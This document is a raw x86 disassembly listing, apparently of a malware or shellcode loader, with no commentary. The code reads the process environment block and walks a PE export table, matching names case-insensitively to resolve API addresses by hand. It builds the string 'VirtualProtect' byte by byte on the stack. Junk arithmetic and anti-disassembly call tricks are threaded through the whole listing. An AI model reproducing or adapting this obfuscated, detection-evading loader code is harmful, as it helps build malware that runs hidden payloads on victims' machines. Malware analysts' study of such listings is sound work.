mov ecx, dword [ebp - 0x4e0]
mov dword [ebp - 0x2bc], ecx
jmp 0x100c50e1
push edx
add edx, 0x86cf
jmp 0x100c5085
pop edx
push ecx
push eax
add esp, 4
and ecx, 0xd020
call 0x100c50a1
add byte [edx + 0x4c], cl
xor eax, dword [eax + 0x3d]
dec esi
cmp eax, dword [edx + 0x45]
dec esp
add esp, 4
add ecx, 0x143bf
pop ecx
mov edx, dword [ebp - 0x4e0]
mov eax, dword [edx]
mov dword [ebp - 0x4e0], eax
mov ecx, dword [ebp - 0x4e0]
cmp ecx, dword [ebp - 0xc68]
je 0x100c50d7
mov edx, dword [ebp - 0x4e0]
cmp dword [edx + 0x30], 0
jne 0x100c4ea2
mov dword [ebp - 0x2bc], 0
push edx
push esi
add esp, 4
sub edx, 0x18243
add edx, 0xcaa9
and edx, 0xc6ff
or edx, 0x5772
pop edx
push edi
push ebx
add esp, 4
jmp 0x100c510b
jmp 0x100c5112
pop edi
mov eax, dword [ebp - 0x2bc]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x328], ecx
push edi
push edx
add esp, 4
and edi, 0x4a20
xor edi, 0x86a6
pop edi
push ecx
push edi
add esp, 4
jmp 0x100c5141
pop ecx
push ebx
push edi
add esp, 4
xor ebx, 0xc647
or ebx, 0x6095
pop ebx
mov dword [ebp - 0x75c], 0
mov edx, dword [ebp - 0x328]
mov dword [ebp - 0x15b8], edx
cmp dword [ebp - 0x15b8], 0
jne 0x100c5184
mov eax, dword [ebp - 0x75c]
mov dword [ebp - 0x4e4], eax
jmp 0x100c5475
mov ecx, dword [ebp - 0x15b8]
mov edx, dword [ebp - 0x328]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15bc], edx
jne 0x100c51ac
mov eax, dword [ebp - 0x75c]
mov dword [ebp - 0x4e4], eax
jmp 0x100c5475
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15bc]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x15c0], ecx
cmp dword [ebp - 0x15c0], 0
jne 0x100c51de
mov edx, dword [ebp - 0x75c]
mov dword [ebp - 0x4e4], edx
jmp 0x100c5475
mov eax, dword [ebp - 0x328]
add eax, dword [ebp - 0x15c0]
mov dword [ebp - 0x750], eax
jne 0x100c5203
mov ecx, dword [ebp - 0x75c]
mov dword [ebp - 0x4e4], ecx
jmp 0x100c5475
mov edx, dword [ebp - 0x750]
mov eax, dword [ebp - 0x328]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1d8c], eax
mov ecx, dword [ebp - 0x750]
mov edx, dword [ebp - 0x328]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1d90], edx
mov eax, dword [ebp - 0x750]
mov ecx, dword [ebp - 0x328]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d94], ecx
mov dword [ebp - 0x754], 0
jmp 0x100c525d
mov edx, dword [ebp - 0x754]
add edx, 1
mov dword [ebp - 0x754], edx
mov eax, dword [ebp - 0x750]
mov ecx, dword [ebp - 0x754]
cmp ecx, dword [eax + 0x18]
jae 0x100c5469
mov edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x1d8c]
mov ecx, dword [ebp - 0x328]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x758], ecx
mov edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x1d90]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1d94]
mov eax, dword [ebp - 0x328]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1d98], eax
mov dword [ebp - 0x154], 0
jmp 0x100c52cd
mov ecx, dword [ebp - 0x154]
add ecx, 1
mov dword [ebp - 0x154], ecx
mov edx, dword [ebp - 0x758]
add edx, dword [ebp - 0x154]
movsx eax, byte [edx]
test eax, eax
je 0x100c537f
mov ecx, dword [ebp - 0x154]
movsx edx, byte [ebp + ecx - 0x854]
test edx, edx
je 0x100c537f
push esi
push esi
add esp, 4
or esi, 0x7230
xor esi, 0x5a79
sub esi, 0x1577
pop esi
push ecx
jmp 0x100c5319
or ecx, 0xa82e
pop ecx
push edi
push eax
add esp, 4
xor edi, 0x17331
pop edi
mov eax, dword [ebp - 0x758]
add eax, dword [ebp - 0x154]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x154]
movsx eax, byte [ebp + edx - 0x854]
cmp ecx, eax
je 0x100c5371
mov ecx, dword [ebp - 0x758]
add ecx, dword [ebp - 0x154]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x154]
movsx ecx, byte [ebp + eax - 0x854]
cmp edx, ecx
jne 0x100c5378
jmp 0x100c52be
jmp 0x100c537f
push ecx
and ecx, 0x4c52
add ecx, 0x10335
and ecx, 0xcfdb
xor ecx, 0xbc72
pop ecx
push edx
push eax
add esp, 4
sub edx, 0x13b92
add edx, 0x17bc7
add edx, 0x104eb
pop edx
mov edx, dword [ebp - 0x758]
add edx, dword [ebp - 0x154]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x154]
movsx edx, byte [ebp + ecx - 0x854]
cmp eax, edx
jne 0x100c53de
mov dword [ebp - 0xc6c], 0
jmp 0x100c544d
push ecx
and ecx, 0x660c
xor ecx, 0xd901
call 0x100c53fa
add byte [edi + 0x4f], cl
dec ebx
cmp eax, 0x444f3334
aas
add esp, 4
pop ecx
push ecx
push edx
add esp, 4
add ecx, 0x75f8
xor ecx, 0x8a25
pop ecx
mov eax, dword [ebp - 0x758]
add eax, dword [ebp - 0x154]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x154]
movsx eax, byte [ebp + edx - 0x854]
or eax, 0x20
cmp ecx, eax
jge 0x100c5443
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x100c544d
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x100c5464
mov ecx, dword [ebp - 0x1d98]
mov dword [ebp - 0x4e4], ecx
jmp 0x100c5475
jmp 0x100c524e
mov edx, dword [ebp - 0x75c]
mov dword [ebp - 0x4e4], edx
mov eax, dword [ebp - 0x4e4]
mov dword [ebp - 0x788], eax
push edx
push ecx
add esp, 4
jmp 0x100c548c
and edx, 0x2680
and edx, 0xb126
pop edx
push ecx
or ecx, 0xf773
call 0x100c54af
add byte [edx + 0x42], al
inc ebx
dec ecx
cmp al, 0x37
inc eax
inc edi
aaa
add esp, 4
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1de8], ecx
push edi
push eax
add esp, 4
add edi, 0xeea6
or edi, 0x2a88
jmp 0x100c54d9
pop edi
push edx
add edx, 0x17d2e
add edx, 0xaf2e
pop edx
push esi
push edx
add esp, 4
xor esi, 0x120ba
pop esi
cmp dword [ebp - 0x3cc], 0
je 0x100c5506
cmp dword [ebp - 0xa7c], 0
jne 0x100c554c
push eax
add eax, 0x401c
pop eax
push ebx
push ecx
add esp, 4
xor ebx, 0x6771
xor ebx, 0x119dc
jmp 0x100c5524
call 0x100c5534
add byte [eax + 0x3b], dl
dec ecx
dec edi
cmp eax, 0x4a324341
aas
add esp, 4
pop ebx
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x1d9c], edx
push 0
call dword [ebp - 0x1d9c]
mov dword [ebp - 0x1e38], 0xa
push edi
push edi
add esp, 4
sub edi, 0x109f7
and edi, 0xde7a
add edi, 0x124f7
pop edi
push ebx
and ebx, 0x5c8b
pop ebx
push ecx
push edi
add esp, 4
sub ecx, 0x3c32
xor ecx, 0x131c4
pop ecx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x392], cl
mov edx, dword [ebp - 0xa7c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x1600], edx
mov dword [ebp - 0xc9c], 0
push edi
push ecx
add esp, 4
xor edi, 0x16e37
xor edi, 0xfcf8
pop edi
push eax
or eax, 0x181f8
call 0x100c55db
add byte [0x40393539], bh
xor eax, 0x83364847
les eax, [ecx + eax*4]
call fcn.100c84e1
pop eax
mov byte [ebp - 0x9a0], 0x56
mov byte [ebp - 0x99f], 0x69
mov byte [ebp - 0x99e], 0x72
mov byte [ebp - 0x99d], 0x74
mov byte [ebp - 0x99c], 0x75
mov byte [ebp - 0x99b], 0x61
mov byte [ebp - 0x99a], 0x6c
mov byte [ebp - 0x999], 0x50
mov byte [ebp - 0x998], 0x72
mov byte [ebp - 0x997], 0x6f
mov byte [ebp - 0x996], 0x74
mov byte [ebp - 0x995], 0x65
mov byte [ebp - 0x994], 0x63
mov byte [ebp - 0x993], 0x74
mov byte [ebp - 0x992], 0
push edi
xor edi, 0x12af
jmp 0x100c565c
pop edi
push edx
call 0x100c566b
add byte [edx + 0x3a], cl
push eax
cmp edi, dword [eax]
cmp eax, 0x4c4833e
call 0x100c567c
add byte [0x42465045], bh
cmp dword [esi + 0x4c], ecx
add esp, 4
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1da0], eax
mov ecx, dword [ebp - 0x1da0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1da4], edx
mov eax, dword [ebp - 0x1da4]
mov dword [ebp - 0x15c4], eax
push eax
add eax, 0xdae9